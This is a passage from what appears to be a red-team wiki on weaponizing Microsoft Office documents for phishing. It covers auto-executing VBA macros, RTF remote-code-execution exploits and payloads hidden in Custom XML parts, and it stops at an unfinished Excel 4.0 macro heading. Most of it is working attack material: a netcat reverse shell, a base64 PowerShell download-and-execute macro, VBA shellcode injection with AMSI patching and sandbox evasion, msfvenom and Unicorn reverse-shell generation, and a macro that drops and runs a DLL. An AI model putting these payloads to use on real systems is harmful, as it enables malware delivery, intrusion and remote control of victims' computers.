This technique will build a primitive word document that will auto execute the VBA Macros code once the Macros protection is disabled.

VBA stands for Visual Basic for Applications, a programming language by Microsoft implemented for Microsoft applications such as Microsoft Word, Excel, PowerPoint, etc. VBA programming allows automating tasks of nearly every keyboard and mouse interaction between a user and Microsoft Office applications.

{% hint style="info" %}
VBAs/macros by themselves do not inherently bypass any detection.
{% endhint %}

## Practice

{% tabs %}
{% tab title="Basic Usage" %}
1 - Create new word document (CTRL+N)\
2 - Hit ALT+F11 to go into Macro editor\
3 - Double click into the "This document" and CTRL+C/V the below:

```vba
'Macro
Private Sub Document_Open()
  MsgBox "game over", vbOKOnly, "game over"
  a = Shell("C:\tools\shell.cmd", vbHide)
End Sub
```

```bash
#C:\tools\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe
```

4 - ALT+F11 to switch back to the document editing mode\
5 - Save the file as a macro enabled document, for example as dotm, Word 97-2003 Document.

{% hint style="danger" %}
Using the newer **.docx** extension, we can't embed or save the macro in the document. The macro will not be persistent.
{% endhint %}
{% endtab %}

{% tab title="ActiveX Macro" %}
We may leverage ActiveX Objects which provide access to underlying operating system commands using the following VBA template. This can be achieved with WScript through the [Windows Script Host Shell](/redteam/weapon/code-execution/wsh) object.

Fisrt, create a base64 powershell payload

```bash
$ echo -n 'iex(iwr http://192.168.45.225/rev.ps1 -UseBasicParsing)'|iconv -t 'utf-16le'|base64 -w0
aQBlAHgAKABpAHcAcgAgAGgAdAB0AHAA...
```

Secondly, we may use this python script to split the base64-encoded string into smaller chunks (50 chars)

{% code title="chunk\_vba\_payload.py" %}

```python
str = "powershell.exe -nop -w hidden -e aQBlAHgAKABpAHcAcgAgAGgAdAB0AHAA..."
n = 50

for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')
```

{% endcode %}

```bash
$ python chunk_payload.py 
```

Then, add the following macro in your word document (see [Basic Usage](#basic-usage)) using the generated payload

```vba
'Macro
Sub AutoOpen()
  MyMacro
End Sub

Sub Document_Open()
  MyMacro
End Sub

Sub MyMacro()
  Dim Str As String
  Str = Str + "powershell.exe -nop -w hidden -e aQBlAHgAKABpAHcAc"
  Str = Str + "gAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQA"
  Str = Str + "uADIAMgA1AC8AcgBlAHYALgBwAHMAMQAgAC0AVQBzAGUAQgBhA"
  Str = Str + "HMAaQBjAFAAYQByAHMAaQBuAGcAKQA="
  CreateObject("Wscript.Shell").Run Str
End Sub
```

{% endtab %}

{% tab title="Shellcode Runners" %}
Examples of much more advanced Macros can be found on the [OSEP-Tools-v2](https://github.com/hackinaggie/OSEP-Tools-v2/tree/main/Macros) and [OffensiveVBA](https://github.com/S3cur3Th1sSh1t/OffensiveVBA) repositories.

For instance `WordMacroInject.vbs` will check on wich architechure (i.e x64 or x86) it is running and will Inject a shellcode into explorer.exe (64-bit Word) or a random 32-bit process. It will also perform some [AMSI bypass](/redteam/evasion/amsi).

{% code title="WordMacroInject.vbs" %}

```vba
'code from https://github.com/hackinaggie/OSEP-Tools-v2/blob/main/Macros/WordMacroInject.vbs
'av / 4msi
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Public Declare PtrSafe Function EnumProcessModulesEx Lib "psapi.dll" (ByVal hProcess As LongPtr, lphModule As LongPtr, ByVal cb As LongPtr, lpcbNeeded As LongPtr, ByVal dwFilterFlag As LongPtr) As LongPtr
Public Declare PtrSafe Function GetModuleBaseName Lib "psapi.dll" Alias "GetModuleBaseNameA" (ByVal hProcess As LongPtr, ByVal hModule As LongPtr, ByVal lpFileName As String, ByVal nSize As LongPtr) As LongPtr
'std
Private Declare PtrSafe Function getmod Lib "KERNEL32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function GetPrAddr Lib "KERNEL32" Alias "GetProcAddress" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function VirtPro Lib "KERNEL32" Alias "VirtualProtect" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProcess As LongPtr, lpflOldProtect As LongPtr) As LongPtr
Private Declare PtrSafe Sub patched Lib "KERNEL32" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
'inject
Private Declare PtrSafe Function OpenProcess Lib "KERNEL32" (ByVal dwDesiredAcess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As LongPtr) As LongPtr
Private Declare PtrSafe Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As Integer, ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal fAllocType As LongPtr, ByVal flProtect As LongPtr) As LongPtr
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByRef lpBuffer As LongPtr, ByVal nSize As LongPtr, ByRef lpNumberOfBytesWritten As LongPtr) As LongPtr
Private Declare PtrSafe Function CreateRemoteThread Lib "KERNEL32" (ByVal ProcessHandle As LongPtr, ByVal lpThreadAttributes As Long, ByVal dwStackSize As LongPtr, ByVal lpStartAddress As LongPtr, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByVal lpThreadID As Long) As LongPtr
Public Declare PtrSafe Function EnumProcesses Lib "psapi.dll" (lpidProcess As LongPtr, ByVal cb As LongPtr, lpcbNeeded As LongPtr) As LongPtr
Public Declare PtrSafe Function IsWow64Process Lib "KERNEL32" (ByVal hProcess As LongPtr, ByRef Wow64Process As Boolean) As Boolean
Private Declare PtrSafe Function CloseHandle Lib "KERNEL32" (ByVal hObject As LongPtr) As Boolean

Function mymacro()
    Dim myTime
    Dim Timein As Date
    Dim second_time
    Dim Timeout As Date
    Dim subtime As Variant
    Dim vOut As Integer
    Dim Is64 As Boolean
    Dim StrFile As String
    
    ' attempt av detection with sleep
    myTime = Time
    Timein = Date + myTime
    Sleep (4000)
    second_time = Time
    Timeout = Date + second_time
    subtime = DateDiff("s", Timein, Timeout)
    vOut = CInt(subtime)
    If subtime < 3.5 Then
        Exit Function
    End If

    
    StrFile = Dir("c:\windows\system32\a?s?.d*")
    'Call architecture function to determine if we are in 32 bit or 64 bit word. 64 bit returns True.
    Is64 = arch()
    'Call amsi check function to determine if amsi.dll is loaded into Word. This is the case in word 2019+. Returns True if Amsi is found.
    check = amcheck(StrFile, Is64)
    
    'If amsi is found, call amsi patching function
    If check Then
        patch StrFile, Is64
    End If

    If Is64 Then
        'msfvenom -p windows/x64/exec -f vbapplication CMD="powershell.exe -c (new-object net.webclient).DownloadString('http://192.168.45.160/Exectest')" EXITFUNC=thread
        buf = Array(252, 72, 131, 228, 240, 232, 192, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, 1, 208, 139, 128, 136, 0, _
        0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, 1, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, 208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, _
        208, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 87, 255, 255, 255, 93, 72, 186, 1, 0, 0, 0, 0, 0, 0, 0, 72, 141, 141, 1, 1, 0, 0, 65, 186, 49, 139, 111, 135, 255, 213, 187, 224, 29, 42, 10, 65, 186, 166, 149, 189, 157, 255, 213, _
        72, 131, 196, 40, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 89, 65, 137, 218, 255, 213, 112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 46, 101, 120, 101, 32, 45, 99, 32, 40, 110, 101, 119, 45, 111, 98, 106, 101, 99, 116, 32, 110, 101, 116, 46, 119, 101, 98, 99, 108, 105, 101, 110, 116, 41, 46, 68, 111, 119, 110, 108, 111, 97, 100, 83, _
        116, 114, 105, 110, 103, 40, 39, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 52, 53, 46, 49, 54, 48, 47, 69, 120, 101, 99, 116, 101, 115, 116, 39, 41, 0)

        'grab handle to target, customizable
        pid = getPID("explorer.exe")
        Handle = OpenProcess(&H1F0FFF, False, pid)
    Else
        'msfvenom -p windows/exec -f vbapplication CMD="powershell.exe -c (new-object net.webclient).DownloadString('http://192.168.45.160/Exectest')" EXITFUNC=thread
        buf = Array(252, 232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
        207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 106, 1, 141, 133, 178, 0, 0, 0, 80, 104, 49, 139, 111, 135, 255, 213, 187, 224, 29, 42, 10, 104, 166, 149, _
        189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213, 112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 46, 101, 120, 101, 32, 45, 99, 32, 40, 110, 101, 119, 45, 111, 98, 106, 101, 99, 116, 32, 110, 101, 116, 46, 119, 101, 98, 99, 108, 105, 101, 110, 116, 41, 46, 68, 111, 119, 110, 108, 111, 97, 100, 83, 116, 114, 105, _
        110, 103, 40, 39, 104, 116, 116, 112, 58, 47, 47, 49, 57, 50, 46, 49, 54, 56, 46, 52, 53, 46, 49, 54, 48, 47, 69, 120, 101, 99, 116, 101, 115, 116, 39, 41, 0)

        Handle = findWow64()
        ' 32-bit Word running on 64-bit OS, no suitable proc found
        If Handle = 0 Then
            'grab handle to target, which has to be running if this macro is opened from word
            pid = getPID("WINWORD.exe")
            Handle = OpenProcess(&H1F0FFF, False, pid)
        End If
    End If

    
    'MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    addr = VirtualAllocEx(Handle, 0, UBound(buf), &H3000, &H40)
    'byte-by-byte to attempt sneaking our shellcode past AV hooks
    For counter = LBound(buf) To UBound(buf)
        binData = buf(counter)
        Address = addr + counter
        res = WriteProcessMemory(Handle, Address, binData, 1, 0&)
        Next counter
    thread = CreateRemoteThread(Handle, 0, 0, addr, 0, 0, 0)
End Function

Function arch() As Boolean
 'check architecture of current word process
    #If Win64 Then
        arch = True
    #Else
        arch = False
    #End If
End Function

Function amcheck(StrFile As String, Is64 As Boolean) As Boolean
    'Checks for amsi.dll in word process. If found, returns True
    Dim szProcessName As String
    Dim hMod(0 To 1023) As LongPtr
    Dim numMods As Integer
    Dim res As LongPtr
    amcheck = False
    
    'Assumes 1024 bytes will be enough to hold the module handles
    res = EnumProcessModulesEx(-1, hMod(0), 1024, cbNeeded, &H3)
    If Is64 Then
        numMods = cbNeeded / 8
    Else
        numMods = cbNeeded / 4
    End If
    
    For i = 0 To numMods
        szProcessName = String$(50, 0)
        GetModuleBaseName -1, hMod(i), szProcessName, Len(szProcessName)
        If Left(szProcessName, 8) = StrFile Then
            amcheck = True
        End If
        Next i
End Function

Function findWow64() As Long
    'Enumerates processes on the target and attempts to find one running under WOW64 (i.e. its a 32-bit process)
    'Returns a HANDLE to a 32-bit proc, or 0 if nothing found
    'Assumes only called in 32-bit context
    Dim hProcs(0 To 1023) As LongPtr
    Dim res As LongPtr
    Dim numProcs As Integer
    Dim isWow64 As Boolean
    Dim szProcessName As String
    Dim hMod(0 To 1023) As LongPtr

    isWow64 = False
    findWow64 = 0

    res = EnumProcesses(hProcs(0), 1024, cbNeeded)
    If res <> 0 Then
        numProcs = cbNeeded / 4
        For i = 0 To numProcs
            If hProcs(i) <> 0 Then
                hProcess = OpenProcess(&H1F0FFF, False, hProcs(i))
                If hProcess <> 0 Then
                    res = IsWow64Process(hProcess, isWow64)
                    If isWow64 Then
                        findWow64 = hProcess
                        res = EnumProcessModulesEx(findWow64, hMod(0), 1024, cbNeeded, &H3)
                        szProcessName = String$(50, 0)
                        GetModuleBaseName findWow64, hMod(0), szProcessName, Len(szProcessName)
                        ' Exit immediately if we've found a 32-bit proc other than the Word process
                        If Left(szProcessName, 11) <> "WINWORD.exe" Then
                            Exit Function
                        End If
                    Else
                        res = CloseHandle(hProcess)
                    End If
                    isWow64 = False
                End If
            End If
        Next i
    End If
End Function

Sub patch(StrFile As String, Is64 As Boolean)
    ' Patches amsi.dll in memory in order to disable it.  Loads memory address of amsi.dll and then locates the AmsiUacInitialize function within it.
    ' The AmsiScanBuffer and AmsiScanString functions are located via relative offset from AmsiUacInitialize and then overwritten with a nop and then a ret to disable them.
    ' Depending on architecture these offsets vary, so a case is included for x86 and x64
    Dim lib As LongPtr
    Dim Func_addr As LongPtr
    Dim temp As LongPtr
    Dim old As LongPtr
    Dim off As Integer

    lib = getmod(StrFile)
    If Is64 Then
        off = 96
    Else
        off = 80
    End If
    
    Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
    temp = VirtPro(ByVal Func_addr, 32, 64, 0)
    patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
    patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
    temp = VirtPro(ByVal Func_addr, 32, old, 0)

    If Is64 Then
        off = 352
    Else
        off = 256
    End If

    Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
    temp = VirtPro(ByVal Func_addr, 32, 64, old)
    patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
    patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
    temp = VirtPro(ByVal Func_addr, 32, old, 0)
End Sub

Function getPID(injProc As String) As LongPtr
    Dim objServices As Object, objProcessSet As Object, Process As Object

    Set objServices = GetObject("winmgmts:\\.\root\CIMV2")
    Set objProcessSet = objServices.ExecQuery("SELECT ProcessID, name FROM Win32_Process WHERE name = """ & injProc & """", , 48)
    For Each Process In objProcessSet
        getPID = Process.ProcessID
    Next
End Function

Sub test()
    mymacro
End Sub
Sub queen()
    'queen is the keyboard mapped macro to run the main test function.
    Application.Run MacroName:="test"
End Sub

Sub Document_Open()
    test
End Sub
Sub AutoOpen()
    test
End Sub
```

{% endcode %}
{% endtab %}

{% tab title="Ivy" %}
[Ivy](https://github.com/optiv/Ivy) is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.

First, we have to generate payload for both x86 and x64 architecture:

```bash
#x64
msfvenom -p -a x64 windows/shell_reverse_tcp LHOST=<ATTACKING_IP> LPORT=<ATTACKING_PORT> -f raw > stageless64.bin

#x64
msfvenom -p -a x86 windows/shell_reverse_tcp LHOST=<ATTACKING_IP> LPORT=<ATTACKING_PORT> -f raw > stageless86.bin
```

Now we can generate the malicious js file that will load our payload.

```bash
# Inject mode performs a process injection attack 
# where a new process is spawned in a suspended state and the shellcode is injected into the process
# This is for a Stagless Injected payload spawning notepad.exe
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless86.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js 

# The stealthier option is Local. This loads the shellcode directly into the current Office process.
# It comes with additional features to avoid detection 
# This is for a Unhooked Stagless Local payload
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless86.bin -P Local -unhook -O stageless.js

# This is for Non-Executable File Types payload
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless86.bin -P Local -unhook -O stageless.png
```

We can execute this payload by using cscript.exe or build a loader using MSHTA.exe, Macro downloader, Stylesheet Ivy options:

```bash
# Simply execute payload on the windows target (stageless.png contains js)
cscript //E:jscript stageless.png

#Generate a Js payload and an evil macro for delivery
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless86.bin -P Inject -unhook -O stageless.js -delivery macro -url http://ATTACKING_IP

#Generate a Js payload oneliner for BitsAdmin delivery
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ATTACKING_IP -delivery bits -stageless

#Gneerate a XSL payload and oneliner for Stylsheet delivery
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ATTACKING_IP -delivery xsl -stageless

#Generate a oneliner and hta payload for MSHTA.exe delivery
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ATTACKING_IP -delivery hta -stageless
```

{% endtab %}

{% tab title="Unicorn" %}
[Unicorn](https://github.com/trustedsec/unicorn) is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. It can be used to generate a macro.

```bash
# Syntax:
# python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>

# Examples:
# Meterpreter
python unicorn.py windows/meterpreter/reverse_https <ATTACKING_IP> <ATTACKING_PORT> macro

# Reverse Shell
python unicorn.py windows/x64/shell_reverse_tcp <ATTACKING_IP> <ATTACKING_PORT> macro

# Download Exec
python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro

# Custom Powershell script
python unicorn.py evil.ps1 macro

# Custom shellcode
# shellcode should be 0x00 formatted
python unicorn.py <path_to_shellcode.txt> macro
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://tryhackme.com/room/weaponization>" %}


# MS Office - RTF Files RCE

## Theory

RTF files are widely used in business communications for their rich formatting capabilities, making them a perfect disguise for malicious payloads. CVE-2023-21716 and CVE-2017-11882 are vulnerabilities within Microsoft Office that can be leveraged to execute arbitrary code when victims open a compromised RTF file.

The page is about weaponize RTF files for effective phishing campaigns

## Practice

### CVE-2017-11882

{% tabs %}
{% tab title="Exploit" %}
We may use [this exploit](https://github.com/bhdresh/CVE-2017-0199) (python) which provides a quick and effective way to exploit Microsoft RTF RCE vulnerability.

Firts, generate the malicious RTF file

```bash
python2.7 cve-2017-0199_toolkit.py -M gen -w bad.rtf -u http://<ATTACKING_IP>/bad.hta -t RTF -x 0
```

The exploit will call and execute an HTA file, you may generate it as follow

```bash
msfvenom -p windows/shell/reverse_tcp LHOST=<ATTACKING_IP> LPORT=<ATTACKING_PORT> -f hta-psh -o bad.hta
```

Host `bad.hta` on your webserver and start a listener

```bash
#Start the webserver to host the bad.hta file
python3 -m http.server 80

#Start listener
rlwrap nc -lvnp <ATTACKING_PORT>
```

Finally, send the `bad.rtf` file to the target. Once victim will open malicious RTF file, you will get a reverse shell.
{% endtab %}
{% endtabs %}

### CVE-2023-21716

{% tabs %}
{% tab title="Exploit" %}
The exploit isn't weaponized yet, but here is the python POC

```python
open("file.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))
```

{% endtab %}
{% endtabs %}


# MS Office - Custom XML parts

## Theory

[**Custom XML Parts** ](https://learn.microsoft.com/en-us/visualstudio/vsto/custom-xml-parts-overview?view=vs-2022)are structured data containers embedded within Microsoft Office documents (like DOCX, XLSX, or PPTX). Unlike visible content (text, charts, etc.), these parts are stored separately from the main document body and are primarily used by developers to hold configuration data, metadata, or information consumed by Office add-ins.

Each custom part is represented as a separate `.xml` file inside the Office document archive (which is a ZIP file under the hood), and they are typically stored in the `/customXml/` directory. These XMLs can include arbitrary data—Office doesn’t validate their content unless explicitly linked with active components like macros or embedded scripts.

From a red team perspective, XML Custom Parts offer a stealthy location to hide payloads, shellcode, or indicators used later during exploitation. Since they don’t directly impact document rendering or functionality, they may escape attention during casual inspection or static analysis.

## Practice

### Manually

You can embed payloads such as **Shellcode**, **DLLs**, or **Commands** into Custom XML Parts and retrieve them during document execution using **VBA macros**. This approach allows payloads to live inside the document without being directly visible in the main content or macros, reducing detection.

In this example, we’ll demonstrate how to retreive a DLL or binary from Custom XML Parts, Write it to the disk and execute it from a VBA Macro.

<details>

<summary>1. Generate the DLL</summary>

There are multiple ways to generate a malicious DLL. In this example, we will simply use msfvenom.

```bash
# Simple Meterpreter Staged DLL
msfvenom LHOST=10.10.14.144 LPORT=443 -p windows/x64/meterpreter/reverse_tcp -f dll > rev.dll
```

</details>

<details>

<summary>2. Prepare the environement</summary>

In order to work with XML Custom Parts in Word, we first need to enable the Developer tab in settings. Go to "File" --> "Options" --> "Customize Ribbon" --> and check "Developer"

<figure><img src="/files/mnD7GFmd3jxkthAOKbUl" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>3. Generate Custom XML Part from the DLL</summary>

Using the Python script below, we can generate Custom XML Part from our DLL.

{% code title="GenCustomXML.py" %}

```python
import random
import string
import base64
import argparse
import os

def generate_customxml(input_file):
    """
    Generate a custom XML part from the contents of an input file.
    
    Args:
        input_file (str): Path to the input file
        
    Returns:
        tuple: (xml_content, part_name)
    """
    # Read the input file
    try:
        with open(input_file, 'rb') as f:
            file_bytes = f.read()
    except Exception as e:
        print(f"Error reading input file: {e}")
        return None, None
    
    # Generate a random part name
    part_name = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
    
    # Base64 encode the file content
    encoded = base64.b64encode(file_bytes).decode()
    
    # Split the encoded content into chunks
    step = 512
    customxml = ''
    part_number = 1
    
    for i in range(0, len(encoded), step):
        customxml += '<{0}_{1}>{2}</{0}_{1}>\n'.format(part_name, part_number, encoded[i:i+step])
        part_number += 1

    # Wrap the chunks in a root element
    xml_content = '<{0}_0>\n{1}</{0}_0>'.format(part_name, customxml)
    
    return xml_content, part_name

def main():
    parser = argparse.ArgumentParser(description='Generate a custom XML part from a file')
    parser.add_argument('input_file', help='Path to the input file')
    parser.add_argument('-o', '--output', help='Output file path (default: input_file.xml)')
    
    args = parser.parse_args()
    
    if not os.path.exists(args.input_file):
        print(f"Error: Input file '{args.input_file}' does not exist")
        return
    
    xml_content, part_name = generate_customxml(args.input_file)
    
    if xml_content:
        output_file = args.output if args.output else f"{args.input_file}.xml"
        
        try:
            with open(output_file, 'w') as f:
                f.write(xml_content)
            print(f"XML content generated successfully with part name '{part_name}'")
            print(f"Output written to: {output_file}")
        except Exception as e:
            print(f"Error writing output file: {e}")

if __name__ == "__main__":
    main()
```

{% endcode %}

We can run it as follows.

```bash
python GenCustomXML.py rev.dll -o evil-sc.doc
```

</details>

<details>

<summary>4. Insert the XML Custom Part</summary>

To insert the XML Custom Part, go to "Developer" --> "XML Mapping Pane"

<figure><img src="/files/j4cN9QyQYPTZuwOawC19" alt=""><figcaption></figcaption></figure>

Click "Custom XML Part" --> "Add"

<figure><img src="/files/yhpM7NTRa9QUr8txD8e5" alt=""><figcaption></figcaption></figure>

And finally select the previously generated Custom XML Part.

<figure><img src="/files/KjjYkIQ4wCPAy0FtGnt0" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>5. Write &#x26; insert the Macro</summary>

We should now write a VBA Macro that will retreive the inserted DLL to execute it. We will use RunDll32 to do so.

The Random part name should be edited according to the previously generated one.

```visual-basic
Option Explicit

Private Type STARTUPINFO
    cb As Long                  'DWORD  cb;
    lpReserved As String        'LPSTR  lpReserved;
    lpDesktop As String         'LPSTR  lpDesktop;
    lpTitle As String           'LPSTR  lpTitle;
    dwX As Long                 'DWORD  dwX;
    dwY As Long                 'DWORD  dwY;
    dwXSize As Long             'DWORD  dwXSize;
    dwYSize As Long             'DWORD  dwYSize;
    dwXCountChars As Long       'DWORD  dwXCountChars;
    dwYCountChars As Long       'DWORD  dwYCountChars;
    dwFillAttribute As Long     'DWORD  dwFillAttribute;
    dwFlags As Long             'DWORD  dwFlags;
    wShowWindow As Integer      'WORD   wShowWindow;
    cbReserved2 As Integer      'WORD   cbReserved2;
    lpReserved2 As LongPtr      'LPBYTE lpReserved2;
    hStdInput As LongPtr        'HANDLE hStdInput;
    hStdOutput As LongPtr       'HANDLE hStdOutput;
    hStdError As LongPtr        'HANDLE hStdError;
End Type

' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms684873(v=vs.85).aspx
Private Type PROCESS_INFORMATION
    hProcess As LongPtr     'HANDLE hProcess;
    hThread As LongPtr      'HANDLE hThread;
    dwProcessId As Long     'DWORD  dwProcessId;
    dwThreadId As Long      'DWORD  dwThreadId;
End Type

#If Win64 Then
    Private Declare PtrSafe Function Create Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function Create Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If


Sub AutoOpen()
    Run
End Sub

Sub Document_Open()
    Run
End Sub

Sub Run()
    Dim root As String
    Dim path As String
    Dim exe As String
    Dim startInfo As STARTUPINFO
    Dim procInfo As PROCESS_INFORMATION
    Dim res As Long

    path = Environ("USERPROFILE") & "\Documents\evil.dll"   
    Drop(path)
    Dim exists As String
    Dim hReq As Object


    #If Win64 Then
        root = "C:\Windows\System32\"
    #Else
        root = "C:\Windows\SysWOW64\"
    #End If

    exe = root & "rundll32.exe " & Path & ",EntryPoint"
    res = Create(vbNullString, exe, &0, &0, False, &0, &0, vbNullString, startInfo, procInfo)
End Sub

Sub Drop(ByVal Path As String)
    Dim decoded, objFSO, objFile
    decoded = B64(GetCustomPart("hruyvwpg")) 'EDIT THIS LINE
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile(Path, True)
    objFile.Write decoded
    objFile.Close
End Sub

Sub Send(ByVal hReq As Object, ByVal url As String)
    With hReq
        .Open "GET", url, False
        .Send
    End With
End Sub

Function GetCustomXMLPart(ByVal Name As String) As Object
    Dim part
    Dim parts
    
    On Error Resume Next
    Set parts = ActiveDocument.CustomXMLParts
    
    For Each part In parts
        If part.SelectSingleNode("/*").BaseName = Name Then
            Set GetCustomXMLPart = part
            Exit Function
        End If
    Next
        
    Set GetCustomXMLPart = Nothing
End Function

Function GetCustomXMLPartTextSingle(ByVal Name As String) As String
    Dim part
    Dim out, m, n
    
    Set part = GetCustomXMLPart(Name)
    If part Is Nothing Then
        GetCustomXMLPartTextSingle = ""
    Else
        out = part.DocumentElement.Text
        n = Len(out) - 2 * Len(Name) - 5
        m = Len(Name) + 3
        If Mid(out, 1, 1) = "<" And Mid(out, Len(out), 1) = ">" And Mid(out, m - 1, 1) = ">" Then
            out = Mid(out, m, n)
        End If
        GetCustomXMLPartTextSingle = out
    End If
End Function

Function GetCustomPart(ByVal Name As String) As String
    On Error GoTo ProcError
    Dim tmp, j
    Dim part
    j = 0
    
    Set part = GetCustomXMLPart(Name & "_" & j)
    While Not part Is Nothing
        tmp = tmp & GetCustomXMLPartTextSingle(Name & "_" & j)
        j = j + 1
        Set part = GetCustomXMLPart(Name & "_" & j)
    Wend
    
    If Len(tmp) = 0 Then
        tmp = GetCustomXMLPartTextSingle(Name)
    End If
    
    GetCustomPart = tmp
    
ProcError:
End Function

Function B64(ByVal data As String) As Byte()
    Dim objXML2 As Object
    Dim objNode As Object

    Set objXML2 = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML2.createElement("b64")
    objNode.DataType = "bin.base64"
    objNode.Text = data
    B64 = StrConv(objNode.nodeTypedValue, vbUnicode)
    Set objNode = Nothing
    Set objXML2 = Nothing
End Function
```

To insert the macro, you can hit ALT + F11 when your Word document is opened. More details can be found [on this page.](https://red.infiltr8.io/redteam/delivery/phishing/phishing-with-ms-office/vba)

</details>

Here is a proof-of-concept example using a Sliver C2 DLL.

<figure><img src="/files/FARTpX7vJMwUol6TrFBS" alt=""><figcaption></figcaption></figure>

### Tools - Automate The Process

{% tabs %}
{% tab title="Automated" %}
//TO DO
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://mgeeky.tech/payload-crumbs-in-custom-parts/>" %}


# MS Office - Excel 4.0 (XLM) Macros

## Theory

{% hint style="danger" %}
